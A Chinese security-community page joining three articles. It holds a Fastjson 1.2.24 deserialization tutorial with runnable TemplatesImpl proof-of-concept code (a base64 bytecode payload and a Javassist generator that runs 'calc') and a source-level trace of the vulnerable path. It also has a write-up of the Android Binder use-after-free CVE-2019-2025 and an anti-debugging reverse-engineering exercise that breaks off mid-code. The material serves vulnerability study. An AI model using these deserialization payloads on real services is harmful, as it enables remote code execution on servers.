FastJson是啊里巴巴的的开源库，用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。在我前面的学习系列文章中其实有用到jackson。其作用和Fastjson差不多，都是处理json数据。可参考该篇文章:[Java学习之jackson篇](https://www.cnblogs.com/nice0e3/p/13552644.html)。其实在jackson里面也是存在反序列化漏洞的，这个后面去分析，这里不做赘述。
### Fastjson使用
使用方式：
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
### Fastjson序列化
代码实例：
定义一个实体类
package com.fastjson.demo;
public class User {
private String name;
private int age;
public User() {
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public User(String name, int age) {
this.name = name;
this.age = age;
}
}
定义一个test类：
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s = JSON.toJSONString(user);
System.out.println(s);
}
}
运行后结果为：
{"age":18,"name":"xiaoming"}
这是一段标准模式下的序列化成JSON的代码，下面来看另一段。
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
// String s = JSON.toJSONString(user);
// System.out.println(s);
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
}
}
执行结果：
{"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}
在和前面代码做对比后，可以发现其实就是在调用`toJSONString`方法的时候，参数里面多了一个`SerializerFeature.WriteClassName`方法。传入`SerializerFeature.WriteClassName`可以使得Fastjson支持自省，开启自省后序列化成`JSON`的数据就会多一个@type，这个是代表对象类型的`JSON`文本。FastJson的漏洞就是他的这一个功能去产生的，在对该JSON数据进行反序列化的时候，会去调用指定类中对于的get/set/is方法，
后面会详细分析。
### Fastjson反序列化
#### 代码实例：
方式一：
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s = JSON.toJSONString(user);
// System.out.println(s);
User user1 = JSON.parseObject(s, User.class);
System.out.println(user1);
}
}
方式二：
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
JSONObject jsonObject = JSON.parseObject(s1);
System.out.println(jsonObject);
}
}
这种方式返回的是一个`JSONObject`的对象
方式三：
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
User user1 = JSON.parseObject(s1,User.class);
System.out.println(user1);
}
}
执行结果都是一样的
User{name='xiaoming', age=18}
这三段代码中，可以发现用了`JSON.parseObject`和
`JSON.parse`这两个方法，`JSON.parseObject`方法中没指定对象，返回的则是`JSONObject`的对象。`JSON.parseObject`和
`JSON.parse`这两个方法差不多，`JSON.parseObject`的底层调用的还是`JSON.parse`方法，只是在`JSON.parse`的基础上做了一个封装。
在序列化时，`FastJson`会调用成员对应的`get`方法，被`private`修饰且没有`get`方法的成员不会被序列化，
而反序列化的时候在，会调用了指定类的全部的`setter`，`publibc`修饰的成员全部赋值。可以在实体类的get、set方法中加入打印内容，可自行测试一下。
## 0x02 Fastjson反序列化漏洞复现
漏洞是利用fastjson
autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大的影响。
### 漏洞攻击方式
在Fastjson这个反序列化漏洞中是使用`TemplatesImpl`和`JdbcRowSetImpl`构造恶意代码实现命令执行，`TemplatesImpl`这个类，想必前面调试过这么多链后，对该类也是比较熟悉。他的内部使用的是类加载器，去进行new一个对象，这时候定义的恶意代码在静态代码块中，就会被执行。再来说说后者`JdbcRowSetImpl`是需要利用到前面学习的JNDI注入来实现攻击的。
### 漏洞复现
**漏洞版本** ：fastjson 1.22-1.24
利用链：TemplatesImpl
这里做一个简单的demo
构造恶意类：
package nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fj_poc {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
执行成功，`_bytecodes`对应的数据里面可以看到是Base64编码的数据，这数据其实是下面这段代码，编译后进行base64加密后的数据。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
但是在使用运用中个人觉得更倾向于这个poc
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;
public class gadget {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "nice0e3"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
System.out.println(text1);
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
使用Javassist动态生成恶意类放到`_bytecodes`中。这里发现几个问题，
1. 如果是只对`_bytecodes`插入恶意代码为什么需要构造这么多的值。
2. `_bytecodes`中的值为什么需要进行Base64加密。
3. 在反序列化的时候为什么要加入`Feature.SupportNonPublicField`参数值。
* @type ：用于存放反序列化时的目标类型，这里指定的是`TemplatesImpl`这个类，Fastjson会按照这个类反序列化得到实例，因为调用了`getOutputProperties`方法，实例化了传入的bytecodes类，导致命令执行。需要注意的是，Fastjson默认只会反序列化public修饰的属性，outputProperties和_bytecodes由private修饰，必须加入`Feature.SupportNonPublicField` 在parseObject中才能触发；
* _bytecodes：继承`AbstractTranslet` 类的恶意类字节码，并且使用`Base64`编码
* _name：调用`getTransletInstance` 时会判断其是否为null，为null直接return，不会往下进行执行，利用链就断了，可参考cc2和cc4链。
* _tfactory：`defineTransletClasses` 中会调用其`getExternalExtensionsMap` 方法，为null会出现异常,但在前面分析jdk7u21链的时候，部分jdk并未发现该方法。
* outputProperties：漏洞利用时的关键参数，由于Fastjson反序列化过程中会调用其`getOutputProperties` 方法，导致`bytecodes`字节码成功实例化，造成命令执行。
前面说到的之所以加入`Feature.SupportNonPublicField`才能触发是因为`Feature.SupportNonPublicField`的作用是支持反序列化使用非public修饰符保护的属性，在Fastjson中序列化private属性。
来查看一下`TemplatesImpl`。
这里可以看到这几个成员变量都是private进行修饰的。不使用`Feature.SupportNonPublicField`参数则无法反序列化成功，无法进行利用。
由此可见Fastjson中使用`TemplatesImpl`链的条件比较苛刻，因为在Fastjson中需要加入`Feature.SupportNonPublicField`，而这种方式并不多见。
## 0x03 Fastjson TemplatesImpl链 反序列化漏洞分析
下断点开始跟踪漏洞
public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {
return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);
}
这里有几个参数传入，并直接调用了`parseObject`的重载方法。
几个参数分别是input、clazz、config、features。
input传递进来的是需要反序列化的数据，这里即是我们的payload数据。
clazz为指定的对象，这里是Object.class对象
config则是ParserConfig的实例对象
features参数为反序列化反序列化private属性所用到的一个参数。
实例化了一个`DefaultJSONParser`，并调用`parseObject`方法，跟踪`parseObject`。
调用`derializer.deserialze`方法进行跟踪。
来看到这一段代码，这里是个三目运算，type是否为Class对象并且type不等于 `Object.class`，type不等于
`Serializable.class`条件为true调用`parser.parseObject`,条件为flase调用`parser.parse`。很显然这里会调用`parser.parse`方法。继续跟踪。
这里将`this.lexer`的值，赋值给lexer，而这个`this.lexer`是在实例化`DefaultJSONParser`对象的时候被赋值的。回看我们代码中的`DefaultJSONParser`被创建的时候。
public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}
调用重载方法
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
}
这里面去调用 `lexer.getCurrent()`跟踪代码发现就是从lexer返回ch的值。而下面的这段代码
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
调用`lexer.getCurrent()`，获取到是ch中数据如果为`{`就将`lexer.token`设置为12，如果为`[`设置
`lexer.token`设置为14。
调用`lexer.getCurrent()`，获取当前字符这里获取到的是双引号。lexer这个是`JSONScanner`实例化对象，里面存储了前面传入的Json数据，但是这里疑问又来了，既然是Json的数据，那么前面的`{`去哪了呢？为什么这里获取到的不是这个`{`花括号。
还记得我们前面加载`DefaultJSONParser`重载方法的时候`new JSONScanner()`,跟踪查看他的构造方法就知道了
public JSONScanner(String input, int features) {
super(features);
this.text = input;
this.len = this.text.length();
this.bp = -1;
this.next();
if (this.ch == '\ufeff') {
this.next();
}
}
构造方法里面调用了`this.next();`
public final char next() {
int index = ++this.bp;
return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
}
返回`com.alibaba.fastjson.parser.DefaultJSONParser#parse`进行跟踪代码。
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
case 1:
case 5:
case 10:
case 11:
case 13:
case 15:
case 16:
case 17:
case 18:
case 19:
...
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
通过刚刚的分析得知这里的`lexer.token()`等于12会走到`case 12:`这里
调用`this.parseObject`继续跟踪
这里可以看到获取下一个字符是否为双引号，而后去调用`lexer.scanSymbol`方法进行提取对应内容数据。
查看一下参数`this.symbolTable`。
这里则是提取了`@type`
接着走到这个地方
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
判断key是否等于`@type`,等于则获取`@type`中的值，接着则是调用反射将这个类名传递进去获取一个方法获取类对象。
下面走到这段代码
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
跟踪，加载两次重载来到这里
上面的代码中直接就获取到了`outputProperties`跟踪一下，`sortedFieldDeserializers.fieldInfo`是怎么被赋值的。
查看发现是在构造方法被赋值的，也就是实例化对象的时候
public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) {
this.clazz = beanInfo.clazz;
this.beanInfo = beanInfo;
this.sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
int i = 0;
int size;
FieldInfo fieldInfo;
FieldDeserializer fieldDeserializer;
for(size = beanInfo.sortedFields.length; i < size; ++i) {
fieldInfo = beanInfo.sortedFields[i];
fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);
this.sortedFieldDeserializers[i] = fieldDeserializer;
}
返回上层，`JavaBeanDeserializer`是在`this.config.getDeserializer`被创建的，跟进一下
return this.getDeserializer((Class)type, type);
⬇
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
⬇
beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
⬇
boolean match = this.parseField(parser, key, object, type, fieldValues);
接着来到了`com.alibaba.fastjson.util.JavaBeanInfo#build`
下面有几个关键代码
在通过`@type`获取类之后，通过反射拿到该类所有的方法存入methods，接下来遍历methods进而获取get、set方法
set的查找方式：
1. 方法名长度大于4
2. 非静态方法
3. 返回值为void或当前类
4. 方法名以set开头
5. 参数个数为1
get的查找方式：
1. 方法名长度大于等于4
2. 非静态方法
3. 以get开头且第4个字母为大写
4. 无传入参数
5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
这样一来就获取到了`TemplatesImpl`的`getOutputProperties()`
返回`com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze`继续调试跟踪
前面都是重复的内容，遍历去获取json中的内容。
直接定位到这一步进行跟踪
替换`_`字符为空
执行完成后回到 `com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#
parseField`来到这一步
进行反射调用执行`TemplatesImpl`的`getOutputProperties()`方法。
接着则来到了这里
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
到了这里其实也就不用跟了，和前面的JDK7u21后半段的链是一样的。
在这命令就执行成功了，但是我们还有一个遗留下来的问题没有解答，就是`_bytecodes`为什么需要进行base64编码的问题，也是分析的时候跟踪漏了。
返回`com.alibaba.fastjson.parser.DefaultJSONParser#parseObject`查看
在解析byte数据的时候回去调用`this.lexer.bytesValue();`,跟踪就会看见会调用`IOUtils.decodeBase64`进行base64解密
贴出调用链
## 0x04 结尾
看到网上部分分析文章，分析漏洞只分析了几个点。直接就在某个地方下断点，然后跳到某一个关键位置的点进行分析，很多数据的流向都不清楚是怎么来的。所以漏洞的一些细节都没去进行了解过，所以漏洞真的分析清楚了嘛？ | 社区文章 |
# “水滴”来袭：详解Binder内核通杀漏洞
##### 译文声明
本文是翻译文章，文章原作者 韩洪立，文章来源：360核心安全
原文地址：<https://mp.weixin.qq.com/s/DBiXMOV14JnxxwumKBck7w>
译文仅供参考，具体内容表达以及含义原文为准。
作者：韩洪立 (@hexb1n) – 360 C0RE Team
Binder基于OpenBinder来实现，是Android系统的重要组成部分。Binder构建于Linux内核中的Binder驱动之上，系统中涉及到Binder通信的部分，都需要通过与”/dev/binder”的设备驱动交互来实现数据传递。由于Binder驱动在整个Android系统中发挥的重要作用，所以一直以来也是Android安全研究的重点之一。
在二进制的世界里，对象的生成和销毁都有一定的流程和时间点，有一些是在编译器层面来实现，有一些却需要程序设计者来维护。一旦这个流程设计的不够完美，使得攻击者能够通过非法操作扰乱其正常的生命周期便有可能造成一系列的安全问题。去年8月份我在对Binder驱动代码进行安全审计的时候，发现了一枚如同《三体》中“水滴”一般的内核通杀漏洞，拥有了惊人的破坏力，仅用一个漏洞便可以实现任意地址读、任意地址写、写任意内容、信息泄露。同时，Binder驱动也是目前为数不多的几个可被沙箱中的进程访问的驱动之一，该漏洞可能被用于沙箱逃逸。在如此重要的内核驱动中会潜伏这样一枚通杀漏洞堪称神奇。
基于这个漏洞，我们实现了对Pixel全系手机的ROOT，其中的Pixel 3也代表了谷歌安卓内核目前最高的安全防御水平，这也是Pixel
3自问世以来，全球范围内首次公开的ROOT攻击。这里要感谢@周明建@王晓东@姚俊@邵大成等团队小伙伴的支持，让漏洞利用能够及早的完成，文末也附了我们的提权视频链接[1]。
这个漏洞在2019年3月的Android
SecurityBulletin中已经公开，对应的漏洞编号为CVE-2019-2025。下文我将会介绍该漏洞危害、影响范围、漏洞原理以及利用思路。
## 漏洞危害及影响范围
### 漏洞危害
1) 通杀。目前国内外主流的Android机型基本都会受到影响；
2)
攻击能力极强。该漏洞可实现较稳定的任意地址读写、写任意内容、信息泄露，并且每触发一次漏洞便可以任意写一次、读一次，Google现有的内核安全缓解措施对于这类能够任意地址读写的漏洞暂无有效的防御策略；
3) 沙箱逃逸。可能用于沙箱逃逸，并直接提权到ROOT；
同时，Binder驱动已早在2015年初被合入Linux主线，使用了Binder模块的平台均有可能受到影响。
### 影响范围
该漏洞属于use-after-free问题，触发时需要不同线程间同步竞争调用”binder_ioctl()”，而在早期的设计中，”binder_ioctl()”由一个效率较低的全局互斥锁保护，见图1。
图1
而此问题后续被优化，从”drivers/android/binder.c”的commit日志可以看到，2016年11月14日的一个补丁将这个全局互斥锁去掉，并优化为更加细粒度的互斥锁来保护，见图2。完整的补丁可参见链接[2]。
图2
打上这个补丁的内核源码便可能受到该漏洞的影响。
由于该漏洞具备通杀能力，目前市面上主流在用的2016年11月之后的内核版本多数都会受到影响，在修补该问题之前将会有大量的设备处于安全风险之中。成功ROOT后攻击者可以获得系统的最高权限，同时该漏洞可能被用于远程攻击链，若是被黑产利用将可直接对用户的个人隐私、财产安全甚至人身安全造成严重的危害。目前Linux主线上已提供了针对该漏洞的补丁，Android厂商可参考附注链接[3]及时修补。
## 漏洞的成因
### 基础知识
关于Binder机制这里就不做过多介绍了，接触过Android的同学应该对它或多或少都有一定的了解。理解该漏洞需熟悉通过Binder通信的双方的基本交互流程，以及中间用到一些结构体对象，网络上关于Binder的资料非常丰富，可自行补充。
### 漏洞原理
当用户进程通过调用”IPCThreadState::transact()”向server进程请求数据时，server进程会调用”IPCThreadState::sendReply()”向用户进程回传数据以作为响应。在这个过程中，server进程会陷入内核，并调用“binder_alloc_new_buf()”从用户进程（“target_proc->alloc”）对应的”alloc->free_buffers.rb_node”红黑树中申请一个”struct
binder_buffer”类型的对象，被申请得到的对象会从”alloc->free_buffers.rb_node”红黑树中移除，并链入到
”alloc->allocated_buffers.rb_node”
红黑树中进行维护，此后将”t->buffer->allow_user_free”赋值为0，以避免”t->buffer”在使用过程中被释放，见图3。
图3
用户进程拥有对该”t->buffer”的释放权，不过要在用户进程收到了server进程发来的消息，结束本次交互并销毁所用的Parcel对象时。然而，我们可以试图通过主动向内核发送”BC_FREE_BUFFER”请求来提前释放该”t->buffer”对象，不过这需要满足内核对各项参数的校验，如图4所示。
图4
上文中提到的“t->buffer”可以通过向内核传入对应的“data_ptr”值，再通过调用“binder_alloc_prepare_to_free()”函数来找到，其返回值会赋值给”buffer”，紧接着内核会检查“buffer->allow_user_free”以及”buffer->transaction”的合法性，由于缺少互斥锁的保护，这里存在一个条件竞争问题，如果用户进程能在图3中”t->buffer->allow_user_free”被赋值为0之前触发到“binder_alloc_free_buf()->binder_free_buf_locked()->rb_erase()”，
便有可能将其从”alloc->buffers”中移除，见图5。
图5
之后便可再选择合适时机触发”kfree()”将其释放，而此时当server进程继续使用”t->buffer”时便触发了use-after-free问题。这样我们就可以借助堆喷技术来实现任意地址读写以及信息泄露。
## 漏洞利用
内核中每年公开的漏洞数量都多达数百个，但真正能够成功提权的寥寥无几。而近年来随着系统防护的不断完善，此前一些可以用来ROOT的漏洞，如果处在现有的防护机制下也变的无能为力。在Android的通用模块出现这类具备了任意地址读写、信息泄露能力，同时还可能用于沙箱逃逸的漏洞十分少见。即便随着Android系统后续一些新的防护机制引入，这类漏洞仍有可能具备很强的攻击潜力。由于漏洞的特点，攻击手法也是仁者见仁智者见智，我们也做出来几种不同的利用方案，这里会介绍漏洞利用的基本思路，具体的细节这里不会放出。
### 任意地址写
调用合适的堆喷函数去占位该”t->buffer”对象，堆喷成功后，图3中3178行所示的”t->buffer->data”可由攻击者完全控制，而”tr->data.ptr.buffer”是server进程发给用户进程的reply数据，可由攻击者间接控制。当“copy_from_user()”函数被执行时，便触发了任意地址写问题。
### 任意地址读
server进程此后又会调用“binder_enqueue_thread_work_ilocked()”函数向用户进程发送消息，如图6中3377行所示。
图6
与此同时，用户端进程在循环调用“IPCThreadState::talkWithDriver()”等待server进程的响应。当有消息到达时，内核会通过调用图7中4100,4107行所示函数，将server进程发送过来的“struct
binder_transaction”类型的对象取出，并保存在变量”t”中，其中“t->buffer”是被我们控制的恶意对象，而”target_node”是”struct
binder_buffer”结构体的一个成员变量，若将其设置为非空值，将会被当成”struct
binder_node”类型的指针，并从该指针加0x58、0x5c位置取值赋值给”tr.target.ptr”及”tr.cookie”。此后内核再调用4319行所示的”copy_to_user()”将数据传递给用户进程。通过这一机制我们便可以实现任意地址读。
图7
### 信息泄露
通过寻找一些带有敏感信息的结构体对”t->buffer”进行堆喷，“t->buffer->target_node”,“t->buffer->data_size”,
“t->buffer->data”都将作为信息泄漏点，将堆喷结构体中的敏感数据泄露给用户进程。
## 时间节点
2018.08发现并确认漏洞危害及影响范围2018.09.28 将漏洞发现上报给Google2018.10.06
Google回复邮件，进一步确认漏洞细节2018.10.23 Google确认该问题2018.11.02 提交漏洞利用给Google2018.11.06
Linux Kernal 主线上修复该问题 2018.12.18 告知漏洞公开时间，并多次在邮件中致谢2019.03.05
安全公告，漏洞编号为CVE-2019-2025我们是全球首个发现该漏洞并提交至Google的安全团队，同时由于漏洞本身的严重性，并且我们成功利用这一漏洞绕过了代表谷歌安卓目前最高水平的内核防护机制，完成了针对Google旗下三款Pixel系列机型的完美ROOT，也收到了Google诚挚的致谢。
## 总结
漏洞在原理上拥有极强的攻击能力，但在实际利用过程中还是有一定的门槛，需要非常熟悉漏洞利用技巧及内核的相关知识才能将其稳定的利用，我们在Pixel系列设备上能够实现近100%的漏洞触发成功率。在Android系统安全防护日臻健全的时代，这类通杀漏洞更是具备了稀缺性，也是黑产从业者梦寐以求的，安全研究人员如果不能赶在他们之前发现并修补该漏洞，一旦被黑产从业者掌握并大规模利用，造成的损失将难以估计。各家Android厂商也需尽快修复该问题，避免用户暴露在安全风险之中。
## 参考
[1]<https://weibo.com/tv/v/HaeCNbLmz?fid=1034:4324393006868015>
[2]<https://lore.kernel.org/patchwork/patch/805040/>
[3]<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7bada55ab50697861eee6bb7d60b41e68a961a9c> | 社区文章 |
#### 前言
异常常用于动态反调试技术。正常运行的进程发生异常时，在SEH(Structured Exception
Handling)机制的作用下，OS会接收异常，然后调用进程中注册的SEH处理。但是，若进程正被调试器调试，那么调试器就会先于SEH接收处理。利用该特征可判断进程是正常运行还是调试运行，然后根据不同的结果执行不同的操作，这就是利用异常处理机制不同的反调试原理。
#### 例题
我们以一道题目为例
拿到题目放入IDA中查看程序主逻辑
v7 = 0;
memset(&v8, 0, 0x4Fu);
v10 = dword_401360;
sub_401060("input your flag : ", v6);
v5 = (int **)80;
sub_4010D0("%s", (unsigned int)&v7);
v13 = &v7;
v12 = &v8;
v13 += strlen(v13);
v11 = ++v13 - &v8;
if ( v13 - &v8 == 16 )//判断输入的长度是否为16
{
v9 = &v4;
v5 = &v10;
wsprintfA(&v4, "%s", &v10);
if ( (unsigned __int8)sub_401860(&v7) )
sub_401060("Good ,u success!\n", v6);
else
sub_401060("Wrong,u lose!\n", v6);
j___fgetchar();
result = j___fgetchar();
}
else
{
sub_401060("wrong u lose\n", v6);
result = 0;
}
return result;
首先程序判断长度是否为16，接着进入401860进行判断。进入该函数进行判断，对输入的字符进行了一系列操作，但是401390的函数的参数是固定值。
bool __cdecl sub_401860(_BYTE *a1)
{
signed int i; // [esp+0h] [ebp-4h]
*a1 *= 2;
a1[1] >>= 3;
a1[2] >>= 4;
a1[3] >>= 88;
a1[4];
a1[4] = 0;
a1[7] ^= 0xAu;
a1[8] += 61;
a1[9] /= 8;
a1[10] %= 4;
a1[11] ^= 0xCu;
for ( i = 0; i < 10; ++i )
a1[i] = sub_4017E0(a1[i], a1[i + 1]);
a1[12] ^= a1[11];
a1[13] ^= a1[12];
a1[14] ^= a1[13];
a1[15] ^= a1[14];
return sub_401390(i) != 0;
}
带着疑问进入401390函数看一下
sub_401390@<eax>(int a1@<eax>, int a2@<edx>, int a3@<ecx>, int a4@<ebx>, int a5@<ebp>, int a6@<edi>, int a7@<esi>, int a8, const char **a9, const char **a10)
{
*(_DWORD *)(a5 - 4) = a1;
*(_DWORD *)(a5 - 8) = a4;
*(_DWORD *)(a5 - 12) = a3;
